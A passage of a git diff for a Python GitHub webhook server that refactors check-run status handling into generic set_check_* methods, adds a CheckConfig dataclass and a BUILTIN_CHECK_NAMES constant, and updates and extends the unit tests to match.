new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_tox_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_run_pre_commit_check_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_python_module_install_queued", new=AsyncMock()), - patch.object(pull_request_handler.check_run_handler, "set_container_build_queued", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_check_queued", new=AsyncMock()), patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), diff --git a/webhook_server/tests/test_push_handler.py b/webhook_server/tests/test_push_handler.py index c8c63b9f..23c0ad36 100644 --- a/webhook_server/tests/test_push_handler.py +++ b/webhook_server/tests/test_push_handler.py @@ -44,6 +44,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.container_repository_password = "test-password" # Always a string # pragma: allowlist secret mock_webhook.token = "test-token" # Always a string mock_webhook.ctx = None + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture diff --git a/webhook_server/tests/test_runner_handler.py b/webhook_server/tests/test_runner_handler.py index 0e61da80..0ec92acc 100644 --- a/webhook_server/tests/test_runner_handler.py +++ b/webhook_server/tests/test_runner_handler.py @@ -3,7 +3,14 @@ import pytest -from webhook_server.libs.handlers.runner_handler import RunnerHandler +from webhook_server.libs.handlers.runner_handler import CheckConfig, RunnerHandler +from webhook_server.utils.constants import ( + BUILD_CONTAINER_STR, + CONVENTIONAL_TITLE_STR, + PRE_COMMIT_STR, + PYTHON_MODULE_INSTALL_STR, + TOX_STR, +) class TestRunnerHandler: @@ -36,6 +43,7 @@ def mock_github_webhook(self) -> Mock: mock_webhook.container_build_args = [] mock_webhook.container_command_args = [] mock_webhook.ctx = None + mock_webhook.custom_check_runs = [] return mock_webhook @pytest.fixture @@ -138,7 +146,7 @@ async def test_run_tox_check_in_progress(self, runner_handler: RunnerHandler, mo with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=True) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: # Simple mock that returns the expected tuple mock_checkout.return_value = AsyncMock() @@ -148,7 +156,7 @@ async def test_run_tox_check_in_progress(self, runner_handler: RunnerHandler, mo "webhook_server.utils.helpers.run_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) @pytest.mark.asyncio async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -158,8 +166,8 @@ async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -167,8 +175,10 @@ async def test_run_tox_prepare_failure(self, runner_handler: RunnerHandler, mock ) mock_checkout.return_value.__aexit__ = AsyncMock(return_value=None) await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_failure.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -178,10 +188,10 @@ async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_re runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_run_tox_check_in_progress", new_callable=AsyncMock + runner_handler.check_run_handler, "set_check_in_progress", new_callable=AsyncMock ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_run_tox_check_success", new_callable=AsyncMock + runner_handler.check_run_handler, "set_check_success", new_callable=AsyncMock ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -194,8 +204,10 @@ async def test_run_tox_success(self, runner_handler: RunnerHandler, mock_pull_re new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_success.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -204,8 +216,8 @@ async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_re with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_run_tox_check_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -217,8 +229,10 @@ async def test_run_tox_failure(self, runner_handler: RunnerHandler, mock_pull_re new=AsyncMock(return_value=(False, "output", "error")), ): await runner_handler.run_tox(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=TOX_STR) + mock_set_failure.assert_called_once_with( + name=TOX_STR, output={"title": "Tox", "summary": "", "text": "dummy output"} + ) @pytest.mark.asyncio async def test_run_pre_commit_disabled(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: @@ -234,12 +248,8 @@ async def test_run_pre_commit_success(self, runner_handler: RunnerHandler, mock_ with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_run_pre_commit_check_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_run_pre_commit_check_success" - ) as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -251,8 +261,11 @@ async def test_run_pre_commit_success(self, runner_handler: RunnerHandler, mock_ new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_pre_commit(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=PRE_COMMIT_STR) + mock_set_success.assert_called_once_with( + name=PRE_COMMIT_STR, + output={"title": "Pre-Commit", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_build_container_disabled(self, runner_handler: RunnerHandler) -> None: @@ -283,10 +296,10 @@ async def test_run_build_container_success(self, runner_handler: RunnerHandler, runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -298,8 +311,11 @@ async def test_run_build_container_success(self, runner_handler: RunnerHandler, runner_handler, "run_podman_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_build_container(pull_request=mock_pull_request) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_build_container_with_push_success( @@ -314,10 +330,10 @@ async def test_run_build_container_with_push_success( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -329,8 +345,11 @@ async def test_run_build_container_with_push_success( runner_handler, "run_podman_command", new=AsyncMock(return_value=(True, "success", "")) ): await runner_handler.run_build_container(pull_request=mock_pull_request, push=True) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_install_python_module_disabled( @@ -355,12 +374,8 @@ async def test_run_install_python_module_success( with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_success" - ) as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -372,8 +387,11 @@ async def test_run_install_python_module_success( new=AsyncMock(return_value=(True, "success", "")), ): await runner_handler.run_install_python_module(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_success.assert_called_once() + mock_set_progress.assert_called_once_with(name=PYTHON_MODULE_INSTALL_STR) + mock_set_success.assert_called_once_with( + name=PYTHON_MODULE_INSTALL_STR, + output={"title": "Python module installation", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_run_install_python_module_failure( @@ -384,12 +402,8 @@ async def test_run_install_python_module_failure( with patch.object( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_in_progress" - ) as mock_set_progress: - with patch.object( - runner_handler.check_run_handler, "set_python_module_install_failure" - ) as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -401,8 +415,11 @@ async def test_run_install_python_module_failure( new=AsyncMock(return_value=(False, "output", "error")), ): await runner_handler.run_install_python_module(mock_pull_request) - mock_set_progress.assert_called_once() - mock_set_failure.assert_called_once() + mock_set_progress.assert_called_once_with(name=PYTHON_MODULE_INSTALL_STR) + mock_set_failure.assert_called_once_with( + name=PYTHON_MODULE_INSTALL_STR, + output={"title": "Python module installation", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio @pytest.mark.parametrize( @@ -512,17 +529,17 @@ async def test_conventional_title_validation( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) if should_pass: assert mock_set_success.await_count == 1, ( @@ -543,13 +560,13 @@ async def test_run_conventional_title_check_disabled( runner_handler.github_webhook.conventional_title = "" with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) @@ -581,17 +598,17 @@ async def test_run_conventional_title_check_custom_types( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: await runner_handler.run_conventional_title_check(mock_pull_request) - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) mock_set_success.assert_awaited_once() mock_set_failure.assert_not_awaited() @@ -606,15 +623,15 @@ async def test_run_conventional_title_check_in_progress( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=True) ): with patch.object( - runner_handler.check_run_handler, "set_conventional_title_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_conventional_title_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: await runner_handler.run_conventional_title_check(mock_pull_request) # Should still proceed with the check - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=CONVENTIONAL_TITLE_STR) mock_set_success.assert_awaited_once() @pytest.mark.asyncio @@ -638,8 +655,8 @@ async def test_cherry_pick_prepare_failure(self, runner_handler: RunnerHandler, """Test cherry_pick when repository preparation fails.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -655,8 +672,8 @@ async def test_cherry_pick_command_failure(self, runner_handler: RunnerHandler, """Test cherry_pick when git command fails.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -676,8 +693,8 @@ async def test_cherry_pick_success(self, runner_handler: RunnerHandler, mock_pul """Test cherry_pick with successful execution.""" runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_success") as mock_set_success: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_success") as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -801,13 +818,13 @@ async def test_run_build_container_push_failure(self, runner_handler, mock_pull_ runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object( - runner_handler.check_run_handler, "set_container_build_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -860,10 +877,10 @@ async def test_run_build_container_with_command_args(self, runner_handler, mock_ runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_success", new=AsyncMock() + runner_handler.check_run_handler, "set_check_success", new=AsyncMock() ) as mock_set_success: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() @@ -875,15 +892,18 @@ async def test_run_build_container_with_command_args(self, runner_handler, mock_ await runner_handler.run_build_container( pull_request=mock_pull_request, command_args="--extra-arg" ) - mock_set_progress.assert_awaited_once() - mock_set_success.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) + mock_set_success.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) @pytest.mark.asyncio async def test_cherry_pick_manual_needed(self, runner_handler, mock_pull_request): runner_handler.github_webhook.pypi = {"token": "dummy"} with patch.object(runner_handler, "is_branch_exists", new=AsyncMock(return_value=Mock())): - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_in_progress") as mock_set_progress: - with patch.object(runner_handler.check_run_handler, "set_cherry_pick_failure") as mock_set_failure: + with patch.object(runner_handler.check_run_handler, "set_check_in_progress") as mock_set_progress: + with patch.object(runner_handler.check_run_handler, "set_check_failure") as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: mock_checkout.return_value = AsyncMock() mock_checkout.return_value.__aenter__ = AsyncMock( @@ -990,10 +1010,10 @@ async def test_run_build_container_prepare_failure( runner_handler.check_run_handler, "is_check_run_in_progress", new=AsyncMock(return_value=False) ): with patch.object( - runner_handler.check_run_handler, "set_container_build_in_progress", new=AsyncMock() + runner_handler.check_run_handler, "set_check_in_progress", new=AsyncMock() ) as mock_set_progress: with patch.object( - runner_handler.check_run_handler, "set_container_build_failure", new=AsyncMock() + runner_handler.check_run_handler, "set_check_failure", new=AsyncMock() ) as mock_set_failure: with patch.object(runner_handler, "_checkout_worktree") as mock_checkout: # Repository preparation fails @@ -1005,8 +1025,214 @@ async def test_run_build_container_prepare_failure( with patch.object(runner_handler, "run_podman_command", new=AsyncMock()) as mock_run_podman: await runner_handler.run_build_container(pull_request=mock_pull_request) # Should set in progress - mock_set_progress.assert_awaited_once() + mock_set_progress.assert_awaited_once_with(name=BUILD_CONTAINER_STR) # Should set failure due to repo preparation failure - mock_set_failure.assert_awaited_once() + mock_set_failure.assert_awaited_once_with( + name=BUILD_CONTAINER_STR, + output={"title": "Build container", "summary": "", "text": "dummy output"}, + ) # Should NOT call run_podman_command (early return) mock_run_podman.assert_not_called() + + +class TestCheckConfig: + """Test suite for CheckConfig dataclass.""" + + def test_check_config_basic(self) -> None: + """Test CheckConfig with basic parameters.""" + config = CheckConfig(name="test-check", command="echo hello", title="Test Check") + assert config.name == "test-check" + assert config.command == "echo hello" + assert config.title == "Test Check" + assert config.use_cwd is False # Default value + + def test_check_config_with_use_cwd(self) -> None: + """Test CheckConfig with use_cwd enabled.""" + config = CheckConfig(name="custom", command="run test", title="Custom", use_cwd=True) + assert config.name == "custom" + assert config.use_cwd is True + + def test_check_config_immutable(self) -> None: + """Test that CheckConfig is immutable (frozen).""" + config = CheckConfig(name="test", command="cmd", title="Title") + with pytest.raises(AttributeError): + config.name = "new-name" # type: ignore[misc] + + def test_check_config_with_placeholder(self) -> None: + """Test CheckConfig with worktree_path placeholder.""" + config = CheckConfig( + name="tox", + command="tox --workdir {worktree_path} --root {worktree_path}", + title="Tox", + ) + # Verify placeholder can be formatted + formatted = config.command.format(worktree_path="/tmp/worktree") + assert formatted == "tox --workdir /tmp/worktree --root /tmp/worktree" + + +class TestRunCheck: + """Test suite for the unified run_check method.""" + + @pytest.fixture + def mock_github_webhook(self) -> Mock: + """Create a mock GithubWebhook instance.""" + mock_webhook = Mock() + mock_webhook.hook_data = {"action": "opened"} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.clone_repo_dir = "/tmp/test-repo" + mock_webhook.mask_sensitive = True + mock_webhook.token = "test-token" + mock_webhook.ctx = None + return mock_webhook + + @pytest.fixture + def runner_handler(self, mock_github_webhook: Mock) -> RunnerHandler: + """Create a RunnerHandler instance with mocked dependencies.""" + handler = RunnerHandler(mock_github_webhook) + handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=False) + handler.check_run_handler.set_check_in_progress = AsyncMock() + handler.check_run_handler.set_check_success = AsyncMock() + handler.check_run_handler.set_check_failure = AsyncMock() + handler.check_run_handler.get_check_run_text = Mock(return_value="output text") + return handler + + @pytest.fixture + def mock_pull_request(self) -> Mock: + """Create a mock PullRequest instance.""" + mock_pr = Mock() + mock_pr.number = 123 + mock_pr.base = Mock() + mock_pr.base.ref = "main" + mock_pr.head = Mock() + mock_pr.head.ref = "feature-branch" + return mock_pr + + @pytest.mark.asyncio + async def test_run_check_success(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with successful command execution.""" + check_config = CheckConfig( + name="my-check", + command="echo {worktree_path}", + title="My Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success output", "")), + ) as mock_run, + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_in_progress.assert_called_once_with(name="my-check") + runner_handler.check_run_handler.set_check_success.assert_called_once() + # Verify command was formatted with worktree_path + mock_run.assert_called_once() + call_args = mock_run.call_args + assert call_args.kwargs["command"] == "echo /tmp/worktree" + + @pytest.mark.asyncio + async def test_run_check_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with failed command execution.""" + check_config = CheckConfig( + name="failing-check", + command="false", + title="Failing Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(False, "output", "error")), + ), + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_failure.assert_called_once() + + @pytest.mark.asyncio + async def test_run_check_checkout_failure(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check when worktree checkout fails.""" + check_config = CheckConfig( + name="test-check", + command="echo test", + title="Test Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(False, "", "checkout failed", "error")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + runner_handler.check_run_handler.set_check_failure.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_not_called() + + @pytest.mark.asyncio + async def test_run_check_with_cwd(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check with use_cwd enabled.""" + check_config = CheckConfig( + name="cwd-check", + command="run-in-dir", # No placeholder - uses cwd + title="CWD Check", + use_cwd=True, + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success", "")), + ) as mock_run, + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + # Verify cwd was passed to run_command + mock_run.assert_called_once() + call_args = mock_run.call_args + assert call_args.kwargs["cwd"] == "/tmp/worktree" + + @pytest.mark.asyncio + async def test_run_check_in_progress_rerun(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: + """Test run_check when check is already in progress.""" + runner_handler.check_run_handler.is_check_run_in_progress = AsyncMock(return_value=True) + + check_config = CheckConfig( + name="rerun-check", + command="echo test", + title="Rerun Check", + ) + + mock_checkout_cm = AsyncMock() + mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) + mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) + + with ( + patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), + patch( + "webhook_server.libs.handlers.runner_handler.run_command", + new=AsyncMock(return_value=(True, "success", "")), + ), + ): + await runner_handler.run_check(pull_request=mock_pull_request, check_config=check_config) + + # Should still run the check even if already in progress (log and re-run) + runner_handler.check_run_handler.set_check_in_progress.assert_called_once() + runner_handler.check_run_handler.set_check_success.assert_called_once() diff --git a/webhook_server/utils/constants.py b/webhook_server/utils/constants.py index f40c77f0..e526da55 100644 --- a/webhook_server/utils/constants.py +++ b/webhook_server/utils/constants.py @@ -126,6 +126,17 @@ } +# Built-in check run names that cannot be overridden by custom checks +BUILTIN_CHECK_NAMES: frozenset[str] = frozenset({ + TOX_STR, + PRE_COMMIT_STR, + BUILD_CONTAINER_STR, + PYTHON_MODULE_INSTALL_STR, + CONVENTIONAL_TITLE_STR, + CAN_BE_MERGED_STR, +}) + + class REACTIONS: ok: str = "+1" notok: str = "-1" diff --git a/webhook_server/utils/github_repository_settings.py b/webhook_server/utils/github_repository_settings.py index 087492e8..bcef5185 100644 --- a/webhook_server/utils/github_repository_settings.py +++ b/webhook_server/utils/github_repository_settings.py @@ -18,6 +18,7 @@ from webhook_server.libs.config import Config from webhook_server.utils.constants import ( BUILD_CONTAINER_STR, + BUILTIN_CHECK_NAMES, CAN_BE_MERGED_STR, CONVENTIONAL_TITLE_STR, IN_PROGRESS_STR, @@ -25,7 +26,6 @@ PYTHON_MODULE_INSTALL_STR, QUEUED_STR, STATIC_LABELS_DICT, - TOX_STR, ) from webhook_server.utils.helpers import ( get_future_results, @@ -332,13 +332,6 @@ def set_repository( def set_all_in_progress_check_runs_to_queued(repo_config: Config, apis_dict: dict[str, dict[str, Any]]) -> None: - check_runs = ( - PYTHON_MODULE_INSTALL_STR, - CAN_BE_MERGED_STR, - TOX_STR, - BUILD_CONTAINER_STR, - PRE_COMMIT_STR, - ) futures: list[Future[Any]] = [] with ThreadPoolExecutor() as executor: @@ -351,7 +344,7 @@ def set_all_in_progress_check_runs_to_queued(repo_config: Config, apis_dict: dic "config_": repo_config, "data": data, "github_api": apis_dict[repo]["api"], - "check_runs": check_runs, + "check_runs": BUILTIN_CHECK_NAMES, "api_user": apis_dict[repo]["user"], }, ) @@ -364,7 +357,7 @@ def set_repository_check_runs_to_queued( config_: Config, data: dict[str, Any], github_api: Github, - check_runs: tuple[str], + check_runs: frozenset[str], api_user: str, ) -> tuple[bool, str, Callable[..., Any]]: def _set_checkrun_queued(_api: Repository, _pull_request: PullRequest) -> None: